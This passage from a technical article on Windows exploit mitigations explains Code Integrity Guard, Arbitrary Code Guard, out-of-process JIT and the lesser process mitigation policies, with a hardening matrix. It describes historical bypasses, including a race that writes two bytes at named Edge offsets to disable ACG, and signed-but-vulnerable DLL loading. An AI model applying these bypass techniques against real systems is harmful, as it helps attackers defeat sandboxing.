&lt;p&gt;The mechanism is small. Every &lt;code&gt;LoadLibrary&lt;/code&gt;, every &lt;code&gt;LoadLibraryEx&lt;/code&gt;, and every &lt;code&gt;NtMapViewOfSection&lt;/code&gt; consults UMCI (User-Mode Code Integrity). If the image is not signed by a Microsoft-rooted catalogue chain when &lt;code&gt;MicrosoftSignedOnly&lt;/code&gt; is in effect, the load returns &lt;code&gt;STATUS_INVALID_IMAGE_HASH&lt;/code&gt; [@miller-acg-blog, @ms-binary-signature-policy]. The process keeps running; the DLL just doesn&apos;t load. (Most attack chains aren&apos;t structured to handle that gracefully, so in practice the process crashes shortly afterward when it tries to dereference a function pointer the failed DLL was supposed to provide.)&lt;/p&gt;
&lt;p&gt;CIG is a publisher check, not a content check. A Microsoft-signed DLL with a controllable side effect -- a DLL-search-order hijack against a signed Windows component, or the CVE-2013-3900 Authenticode-padding family that allows a signed binary to carry attacker-controlled trailing data without invalidating the signature -- still loads normally. CIG can&apos;t tell. &lt;em&gt;App Control&lt;/em&gt; (formerly Windows Defender Application Control) and the Microsoft Driver Block List are the partial answer: a curated list of banned-but-signed binaries UMCI consults and rejects even when their signatures verify.&lt;/p&gt;
&lt;p&gt;CVE-2013-3900 was disclosed in December 2013. Microsoft shipped an opt-in registry fix (&lt;code&gt;EnableCertPaddingCheck&lt;/code&gt;) and left the strict default off for over a decade for compatibility reasons; in July 2024 the company republished the CVE in the Security Update Guide to formally reaffirm that the strict-Authenticode behaviour remains available as an opt-in across all currently supported releases of Windows 10 and Windows 11 (&quot;Microsoft does not plan to enforce the stricter verification behavior as a default functionality on supported releases of Microsoft Windows&quot;) [@nvd-cve-2013-3900]. The structural-vulnerable-but-signed class has been operationally hard to retire for the same reason every backwards-compatibility constraint is hard to retire.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;ProcessSignaturePolicy&lt;/code&gt; is applied to subsequent loader operations after the policy is installed. DLLs that were already mapped into the process before the call to &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; are &lt;em&gt;not&lt;/em&gt; unloaded retroactively. This is the structural reason serious sandboxed processes (Edge content, Chrome renderer) use &lt;code&gt;UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY)&lt;/code&gt; at &lt;code&gt;CreateProcess&lt;/code&gt; time -- the kernel installs the policy &lt;em&gt;before&lt;/em&gt; the child&apos;s first user-mode instruction runs, so even the loader&apos;s initial sweep of static imports is policed.&lt;/p&gt;
&lt;/blockquote&gt;

The Microsoft-signed DLL universe is large. Many of those binaries have controllable side effects: search-order hijacks, Authenticode-padding writes, signed-driver privilege primitives, signed-tooling code-injection helpers. CIG does not look at side effects; it only looks at the signature. The residual class that survives `MicrosoftSignedOnly` -- &quot;signed but vulnerable&quot; -- is precisely the class App Control&apos;s reactive blocklist tries to keep up with. As of the 2025 Driver Block List there are hundreds of blocked-but-signed binaries; the list grows every quarter. This is one of the unsolved problems the article closes with in section 14.
&lt;p&gt;CIG and ACG are siblings but not synonyms. CIG prohibits &lt;em&gt;loading unsigned images&lt;/em&gt;. ACG prohibits &lt;em&gt;generating new executable code at runtime&lt;/em&gt;. They attack different attack surfaces. The signed-DLL-injection bypass that defeats CIG does not defeat ACG, because the planted DLL is not generating new code -- it is using its (signed but vulnerable) existing code. The JIT-spray-as-CFG-bypass that defeats ACG does not defeat CIG, because the JIT was not loading a new DLL. An attacker who solves one still has to solve the other.&lt;/p&gt;
&lt;p&gt;What does the &lt;em&gt;generation&lt;/em&gt; half look like?&lt;/p&gt;
&lt;h2&gt;8. Arbitrary Code Guard (ACG): W^X for the entire process&lt;/h2&gt;
&lt;p&gt;March 2017. Windows 10 Creators Update ships. Microsoft Edge enables a single flag in the new &lt;code&gt;ProcessDynamicCodePolicy&lt;/code&gt; structure. Every JavaScript JIT engine in the world has to be rearchitected.&lt;/p&gt;

A per-process policy that prevents *any* code that did not originate as a signed image at startup from becoming executable. With ACG enabled, calls to `VirtualAlloc` with `PAGE_EXECUTE_*` return `STATUS_DYNAMIC_CODE_BLOCKED`. Calls to `VirtualProtect` that attempt to *add* execute permission to an existing page return the same status. `MapViewOfSection` with `SECTION_MAP_EXECUTE` requires the section&apos;s backing image to be signed. The net effect: every executable byte in the process originated as a Microsoft-signed PE mapped by the loader at startup, and nothing else can ever become runnable in this process&apos;s address space [@miller-acg-blog, @ms-dynamic-code-policy].
&lt;p&gt;The &lt;code&gt;PROCESS_MITIGATION_DYNAMIC_CODE_POLICY&lt;/code&gt; structure carries four flags [@ms-dynamic-code-policy]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ProhibitDynamicCode&lt;/code&gt; -- the core enforcement flag&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AllowThreadOptOut&lt;/code&gt; -- a thread can call &lt;code&gt;SetThreadInformation(ThreadDynamicCodePolicy, 0)&lt;/code&gt; to escape, which Microsoft&apos;s documentation warns against using with &lt;code&gt;ProhibitDynamicCode&lt;/code&gt; because the two flags together leak the policy&apos;s intent&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AllowRemoteDowngrade&lt;/code&gt; -- a higher-privileged peer can disable the policy via &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AuditProhibitDynamicCode&lt;/code&gt; -- log without enforcing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The structural rule, restated mechanically [@miller-acg-blog, @ms-dynamic-code-policy]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt; with &lt;code&gt;PAGE_EXECUTE&lt;/code&gt;, &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt;, &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;, or &lt;code&gt;PAGE_EXECUTE_WRITECOPY&lt;/code&gt;: blocked.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VirtualProtect&lt;/code&gt; that adds any executable permission to an existing page: blocked.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MapViewOfSection&lt;/code&gt; with &lt;code&gt;SECTION_MAP_EXECUTE&lt;/code&gt; for a section &lt;em&gt;not&lt;/em&gt; backed by a signed image: blocked.&lt;/li&gt;
&lt;li&gt;The only way new executable pages enter the process: the loader maps signed PEs at module load time, and (with CIG also on) only Microsoft-signed PEs.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The browser-JIT architectural consequence is the most-cited single change in the entire Windows mitigation literature. Pre-2017, every JavaScript JIT generated native code at runtime into a &lt;code&gt;RWX&lt;/code&gt;-permission heap inside its own browser process. The pattern was simple: allocate a page, write machine code into it, mark it executable, jump. ACG turned that pattern into a fatal error.&lt;/p&gt;
&lt;p&gt;Chakra (then Edge&apos;s engine), V8 (Chrome&apos;s engine, when Edge later switched to Chromium), SpiderMonkey (Firefox), and JavaScriptCore (Safari) all responded by moving the JIT compilation step out of the renderer process [@miller-acg-blog]. The architecture became: the renderer ships JavaScript source over an authenticated IPC channel to a &lt;em&gt;JIT process&lt;/em&gt;; the JIT process compiles to machine code; the JIT process owns a signed section backing the compiled output; the renderer maps that signed section read-execute via &lt;code&gt;MapViewOfFile&lt;/code&gt; and dispatches into it. The renderer is locked into ACG. The JIT process is not (it has to write code), but it never parses untrusted content -- only pre-validated bytecode from the renderer over a typed IPC schema.&lt;/p&gt;

flowchart LR
    subgraph Pre[&quot;Pre-ACG (before March 2017)&quot;]
        direction TB
        R1[Renderer process]
        R1 --&amp;gt; J1[In-process JIT]
        J1 --&amp;gt; H1[&quot;RWX JIT heap&lt;br /&gt;(W^X violation)&quot;]
        H1 --&amp;gt; E1[Execute jitted&lt;br /&gt;JS]
    end
    subgraph Post[&quot;Post-ACG (Edge 1703 and later)&quot;]
        direction TB
        R2[Renderer&lt;br /&gt;ACG on]
        R2 --&amp;gt;|IPC bytecode| J2[JIT process&lt;br /&gt;ACG off]
        J2 --&amp;gt;|signed&lt;br /&gt;section| S2[Shared mapping]
        R2 --&amp;gt;|MapViewOfFile&lt;br /&gt;R-X| S2
        S2 --&amp;gt; E2[Execute jitted&lt;br /&gt;JS in renderer]
    end
&lt;p&gt;That rearchitecture is the structural cost ACG imposed. It is not small. Out-of-process JIT adds roughly a millisecond per JIT compilation for the IPC round-trip, which matters for short-lived JavaScript (lots of small functions, one-shot pages). It also creates a new trust boundary -- between renderer and JIT process -- which is itself an attack surface, and which the next paragraph names.&lt;/p&gt;
&lt;p&gt;The bypass tradition starts almost immediately. Reported December 2017, publicly disclosed February 2018, Project Zero issue 42450607. James Forshaw and Ivan Fratric document the &lt;em&gt;race-the-mitigation-window&lt;/em&gt; class [@p0-issue-42450607, @exploit-db-44467]. The PoC is small enough to read in one paragraph.&lt;/p&gt;

Each Edge content process (`MicrosoftEdgeCP.exe`) called `SetProcessMitigationPolicy(ProcessDynamicCodePolicy, ...)` on itself shortly after startup. The advisory documents the verbatim callstack: `MicrosoftEdgeCP!SetProcessDynamicCodePolicy+0xc0`. Forshaw and Fratric discovered that there is a window between `CreateProcess` returning the new content process&apos;s handle and that child&apos;s first call into `SetProcessDynamicCodePolicy`. During that window, a peer content process in the same AppContainer can `OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION)` the new child and `WriteProcessMemory` two specific bytes -- at Edge offsets `0x23090` and `0x23092` on the version Forshaw and Fratric tested, build &quot;up-to-date on Windows 10 version 1709&quot; [@p0-issue-42450607]. The two bytes are global flags that, if set, cause `SetProcessDynamicCodePolicy` to short-circuit and return success without installing the policy. The result: a child renderer that *thinks* ACG is on, that the parent thinks has ACG on, but in which `VirtualAlloc(PAGE_EXECUTE_READWRITE)` succeeds normally. Microsoft&apos;s fix was structural: migrate to `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY)`, so the policy is installed *by the kernel* before the child&apos;s first user-mode instruction runs and the race window closes.
&lt;p&gt;The second-generation bypass came faster than anyone expected. May 2018, Ivan Fratric publishes &lt;em&gt;Bypassing Mitigations by Attacking the JIT Server&lt;/em&gt; on the Project Zero blog [@p0-fratric-jit-2018]. Once ACG forced JIT out of process, the &lt;em&gt;new&lt;/em&gt; attack surface was the IPC channel and the JIT-server allocation address. Fratric writes: &quot;we believe that any other attempt to implement out-of-process JIT would encounter similar problems.&quot; That sentence is the deeper lesson of the entire mitigation tradition: a new trust boundary -- between renderer and JIT process, between user and kernel, between content process and broker -- is a new attack class. You did not eliminate the attack surface; you moved it.&lt;/p&gt;
&lt;p&gt;ACG plus CIG, then, closes &quot;what code can run in this process&quot;: no unsigned image loads (CIG), no dynamic code generation (ACG), no executable allocations of any kind that did not originate as a signed PE on disk. That is a closed surface for the &lt;em&gt;code&lt;/em&gt; dimension. But the attacker has more options than memory and signatures. There is the kernel surface beneath the renderer&apos;s syscalls. There is the legacy extension-point loader. There are fonts, image loads, side channels. Those are the smaller, operationally-critical mitigations -- the rest of the twenty.&lt;/p&gt;
&lt;h2&gt;9. The smaller, operationally critical mitigations&lt;/h2&gt;
&lt;p&gt;DEP, ASLR, CFG, CET, CIG, ACG -- that is the canonical six. But the &lt;code&gt;PROCESS_MITIGATION_POLICY&lt;/code&gt; enum lists twenty-one values [@ms-process-mitigation-enum]. The other fourteen actual policies are not afterthoughts. Each one is a tombstone for a specific attack class that did not fit into &quot;don&apos;t let the attacker write code&quot; or &quot;don&apos;t let the attacker pick the call target.&quot;&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessSystemCallDisablePolicy&lt;/code&gt; -- Disable Win32k System Calls&lt;/h3&gt;
&lt;p&gt;Edge content process, 2017 onward. The Win32k.sys driver implements the GUI subsystem and was, for many years, the single largest contributor to Windows kernel CVEs. A renderer process that does not draw windows can refuse Win32k syscalls entirely, eliminating an enormous swath of kernel attack surface for a compromised renderer. The Edge content process is the canonical user. The Edge sandbox blog documents the AC architecture and capability model the renderer runs inside [@edge-sandbox-blog]; the policy enum entry itself is in &lt;code&gt;ms-setprocessmitigationpolicy&lt;/code&gt; [@ms-setprocessmitigationpolicy]. Connor McGarr&apos;s 2025 deck addresses the Win32k surface explicitly: &quot;Call targets in Win32k can be corrupted with a valid NT call target&quot; -- which is the structural reason the policy exists [@mcgarr-bhusa25].&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessExtensionPointDisablePolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Disables legacy extension-point classes that have historically been DLL-injection vectors: &lt;code&gt;AppInit_DLLs&lt;/code&gt; (registry-driven inject-into-everything), IME modules, Layered Service Providers (LSP, the Winsock provider chain), &lt;code&gt;WinEventHook&lt;/code&gt;/&lt;code&gt;SetWindowsHookEx&lt;/code&gt; global hooks. Enabling the policy makes the loader refuse to map any DLL through these legacy paths into the process [@ms-setprocessmitigationpolicy, @ms-process-mitigation-enum]. This is one of the lowest-cost mitigations to enable for any process that does not knowingly need legacy IME or LSP integration.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessFontDisablePolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Refuses non-system fonts. The historical motivation was a 2015 wave of ATMFD.DLL kernel-font-parser CVEs (the Adobe Type Manager font driver). Microsoft moved the font parser out of the kernel into user mode after that wave, and this per-process policy then refuses non-system fonts entirely for browser-class sandboxed processes that do not need them [@ms-setprocessmitigationpolicy].&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessImageLoadPolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Three loader-time flags, all about &lt;em&gt;where&lt;/em&gt; a DLL can come from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NoRemoteImages&lt;/code&gt; -- block DLLs whose path is a UNC &lt;code&gt;\\server\share\dll&lt;/code&gt;. Eliminates a remote-DLL family that crossed administrative boundaries.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NoLowMandatoryLabelImages&lt;/code&gt; -- block DLLs whose file was written by a low-integrity-label process. A compromised sandboxed process could write a DLL to disk; this flag stops a peer broker from picking that DLL up.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PreferSystem32Images&lt;/code&gt; -- search &lt;code&gt;\Windows\System32\&lt;/code&gt; before the application directory in the DLL search order. Closes the DLL-search-order-hijack class, a very old attack surface.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All three are in [@ms-image-load-policy]. Together they collapse the DLL-loading attack surface to a small, well-controlled set of code paths.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessStrictHandleCheckPolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Causes the process to fault immediately on any use of an invalid handle (use-after-close, double-close, opaque-mismatch) [@ms-setprocessmitigationpolicy]. Handle bugs are an obscure but exploitable class -- a freed kernel object&apos;s handle can be reissued, and a process that does not detect this can be tricked into operating on an attacker-controlled replacement. Strict handle checking turns a subtle handle-confusion bug into an immediate crash, before the attacker can pivot.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessRedirectionTrustPolicy&lt;/code&gt; -- RedirectionGuard&lt;/h3&gt;
&lt;p&gt;Mitigates symbolic-link, junction, and mount-point confused-deputy attacks. James Forshaw documented the attack family at Project Zero starting in August 2015 with the Windows 10 symbolic-link mitigations post [@p0-forshaw-symlink-2015]. Microsoft shipped the per-process mitigation a decade later, in June 2025 [@msrc-redirectionguard]. RedirectionGuard refuses to traverse a junction if the junction&apos;s target was created by a less-trusted user than the process performing the open -- closing the &quot;a low-IL caller plants a junction; a high-IL service follows it&quot; pattern that has been a steady source of local privilege escalation since at least Windows Vista.RedirectionGuard&apos;s June 2025 ship date makes it the freshest entry in the &lt;code&gt;PROCESS_MITIGATION_POLICY&lt;/code&gt; enum. The MSRC blog states the structural framing in one sentence: &quot;Junctions remain the biggest existing gap. Outside of a sandbox, they can be created by standard users and target any folder on the system&quot; [@msrc-redirectionguard].&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessSideChannelIsolationPolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Two distinct sub-mitigations [@ms-setprocessmitigationpolicy]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IsolateSecurityDomain&lt;/code&gt; -- on context switch, issue &lt;code&gt;IBPB&lt;/code&gt; (Indirect Branch Predictor Barrier) and &lt;code&gt;STIBP&lt;/code&gt; (Single Thread Indirect Branch Prediction) flushes. This is the per-process Spectre v2 / MDS side-channel mitigation. Performance cost is real, in the 2-5% range on indirect-branch-heavy workloads, and is the reason this policy is opt-in rather than default.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DisablePageCombining&lt;/code&gt; -- prevents the kernel from merging identical physical pages across processes. Page-combining is a memory-saving feature that creates a cross-process side-channel: timing the cost of a write to a shared, copy-on-write page leaks whether the page was previously merged with another process&apos;s identical page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;ProcessUserShadowStackPolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The CET-on switch from section 6 [@ms-user-shadow-stack-policy]. Listed here for enum completeness.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessChildProcessPolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Refuses any &lt;code&gt;CreateProcess&lt;/code&gt; call originating from the process [@ms-setprocessmitigationpolicy]. Edge content processes and Chromium renderers enable this. The structural attack class it closes is &quot;renderer is compromised; renderer spawns &lt;code&gt;cmd.exe&lt;/code&gt; or &lt;code&gt;powershell.exe&lt;/code&gt; and the attacker pivots to a non-sandboxed cousin.&quot; With &lt;code&gt;ProcessChildProcessPolicy&lt;/code&gt; on, the renderer cannot spawn anything; the attacker has to either bypass within the sandbox or attack the broker process.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessPayloadRestrictionPolicy&lt;/code&gt; -- EAF / IAF / ROP checks&lt;/h3&gt;
&lt;p&gt;The mitigations that EMET originally bundled, carried forward into Windows Defender Exploit Guard [@ms-defender-exploit-protection]: Export Address Filter (EAF), Import Address Filter (IAF), ROP-Stack-Pivot, ROP-Caller-Check, ROP-Sim-Exec. Five sub-mitigations that detect heuristic exploit patterns. The honest assessment: these are defense-in-depth against legacy 32-bit binaries that cannot be recompiled with CFG, XFG, or CET. On modern x64 binaries built with &lt;code&gt;/guard:cf /CETCOMPAT&lt;/code&gt;, the payload-restriction checks are largely redundant. They remain useful as a backstop for unrecompilable third-party code that runs in a hardened parent process.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ProcessASLRPolicy&lt;/code&gt; and &lt;code&gt;ProcessDEPPolicy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The per-process knobs on top of the system-wide foundations [@ms-setprocessmitigationpolicy]. &lt;code&gt;ProcessASLRPolicy&lt;/code&gt; exposes &lt;code&gt;BottomUpRandomization&lt;/code&gt;, &lt;code&gt;HighEntropy&lt;/code&gt;, &lt;code&gt;ForceRelocateImages&lt;/code&gt;, and other refinements -- useful for forcing a paranoid configuration on processes that load third-party DLLs without &lt;code&gt;/DYNAMICBASE&lt;/code&gt;. &lt;code&gt;ProcessDEPPolicy&lt;/code&gt; is a 32-bit-only vestigial knob; on x64 it does nothing because DEP is unconditionally on.&lt;/p&gt;
&lt;h3&gt;The other policies&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ProcessActivationContextTrustPolicy&lt;/code&gt; (restricts manifest-driven activation contexts), &lt;code&gt;ProcessMitigationOptionsMask&lt;/code&gt; (a meta-policy returning the mask of supported bits), &lt;code&gt;ProcessSystemCallFilterPolicy&lt;/code&gt; (per-process syscall allowlist; rare in production), &lt;code&gt;ProcessUserPointerAuthPolicy&lt;/code&gt; (the ARM64-Windows switch for ARM Pointer Authentication, comparatively discussed in section 11), and &lt;code&gt;ProcessSEHOPPolicy&lt;/code&gt; (the per-process Structured Exception Handling Overwrite Protection knob -- a Vista-era mitigation predating the modern enum) fill out the enum to twenty-one values. None are individually load-bearing for the article&apos;s narrative; they exist for completeness of the kernel ABI.&lt;/p&gt;
&lt;p&gt;Twenty policies plus a sentinel. The canonical six handle the control-flow primitives. The other fourteen handle adjacent surfaces. What does it look like when all of these are turned on at once, and which binaries actually do that?&lt;/p&gt;
&lt;h2&gt;10. What does a maximally hardened modern Windows process look like?&lt;/h2&gt;
&lt;p&gt;It is one thing to enumerate policies. It is another to ask: who actually turns them on? Where does Microsoft itself enable each one, and what is the structural reason it cannot be enabled on the others?&lt;/p&gt;
&lt;p&gt;The fastest way to answer that question is a single matrix. Each column is a binary; each row is a &lt;code&gt;PROCESS_MITIGATION_POLICY&lt;/code&gt; value. Each cell is either &lt;em&gt;enabled&lt;/em&gt;, or the structural reason it cannot be. The matrix below summarizes the typical &lt;code&gt;Get-ProcessMitigation&lt;/code&gt; output for representative binaries, with structural-can&apos;t reasons drawn from public Microsoft documentation, Matt Miller&apos;s Edge mitigation blog [@miller-acg-blog], and the policy-enum reference [@ms-process-mitigation-enum, @ms-setprocessmitigationpolicy].&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Policy&lt;/th&gt;
&lt;th&gt;Edge content (&lt;code&gt;MicrosoftEdgeCP.exe&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;Chrome renderer&lt;/th&gt;
&lt;th&gt;Outlook (Office)&lt;/th&gt;
&lt;th&gt;Defender (&lt;code&gt;MsMpEng.exe&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;Recall (Windows AI service)&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Notepad.exe&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;DEP / ASLR (system foundation)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CFG&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CET shadow stack&lt;/td&gt;
&lt;td&gt;yes (strict)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes (strict)&lt;/td&gt;
&lt;td&gt;yes (default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACG (&lt;code&gt;ProcessDynamicCodePolicy&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes (with OOP JIT)&lt;/td&gt;
&lt;td&gt;no -- COM/MAPI add-ins&lt;/td&gt;
&lt;td&gt;no -- engine generates scanner code at runtime&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;n/a (no JIT)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIG (&lt;code&gt;ProcessSignaturePolicy&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes (&lt;code&gt;MicrosoftSignedOnly&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;partial -- plugins&lt;/td&gt;
&lt;td&gt;no -- third-party add-ins&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes (&lt;code&gt;MicrosoftSignedOnly&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disable-Win32k (&lt;code&gt;SystemCallDisable&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes (renderer process)&lt;/td&gt;
&lt;td&gt;n/a (GUI)&lt;/td&gt;
&lt;td&gt;yes (no GUI)&lt;/td&gt;
&lt;td&gt;yes (no GUI)&lt;/td&gt;
&lt;td&gt;n/a (GUI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disable-Extension-Points&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Image-Load (all three flags)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StrictHandleCheck&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChildProcess&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;no -- launches &lt;code&gt;winword&lt;/code&gt;, etc.&lt;/td&gt;
&lt;td&gt;yes (no children)&lt;/td&gt;
&lt;td&gt;yes (no children)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FontDisable&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;n/a (renders fonts)&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RedirectionGuard&lt;/td&gt;
&lt;td&gt;yes (since 2025)&lt;/td&gt;
&lt;td&gt;yes (since 2025)&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;partial&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SideChannelIsolation&lt;/td&gt;
&lt;td&gt;optional&lt;/td&gt;
&lt;td&gt;optional&lt;/td&gt;
&lt;td&gt;optional&lt;/td&gt;
&lt;td&gt;optional&lt;/td&gt;
&lt;td&gt;yes (high-trust)&lt;/td&gt;
&lt;td&gt;optional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PayloadRestriction (EAF/IAF/ROP)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The pattern that emerges from this matrix is the article&apos;s most important practical observation. The matrix is &lt;em&gt;a threat-model artefact&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For any sandboxed-parser design -- a renderer, a font rasterizer, a PDF previewer, an image decoder -- the structurally-correct policy set is the union of what Edge and Recall enable. Both binaries parse untrusted content from the internet or from local files; both run in isolation; neither needs to load third-party signed DLLs, draw windows, or launch child processes. They can enable the full canonical recipe.&lt;/p&gt;
&lt;p&gt;For any extensibility-by-design surface, the policy set is smaller and the threat model has to absorb the gap. Outlook cannot enable CIG because the MAPI plugin model and third-party COM add-ins are an existential product feature. Outlook cannot enable &lt;code&gt;ChildProcess&lt;/code&gt; because it launches Word to open attachments. Defender cannot enable ACG because the scanner engine generates emulator bytecode, signature-compilation routines, and regex JITs at runtime -- it is, by design, a JIT for AV signatures, and that JIT runs in &lt;code&gt;MsMpEng.exe&lt;/code&gt;. Chromium cannot enable CIG by default because of the third-party plugin model (Widevine, native messaging hosts, accessibility integrations).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The canonical 2026 hardened-process recipe is CFG plus CET shadow stack plus ACG plus CIG plus Disable-Win32k plus Disable-Extension-Points plus Image-Load (all three flags) plus StrictHandleCheck plus ChildProcess plus, for parsers, FontDisable, plus RedirectionGuard for filesystem-interacting binaries. Every binary that misses one of these does so for a documentable structural reason -- which is exactly the threat-model artefact the matrix above produces.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the recipe the &lt;em&gt;VBS and Trustlets&lt;/em&gt; sibling article in this series calls &quot;user-mode hardened.&quot; The VBS-isolated Trustlets in the Secure Kernel layer have a separate, complementary surface; see that article for the kernel-side parallel.&lt;/p&gt;
&lt;p&gt;Stacking the recipe is the best a 2026 user-mode process can be. But the attacker is still in the room. What survives even a fully-stacked process? What are the bypasses that work after every mitigation is on? Section 12 answers that. First, a quick comparison: what other operating systems do, and what they do differently.&lt;/p&gt;
&lt;h2&gt;11. What other operating systems do that Windows doesn&apos;t&lt;/h2&gt;
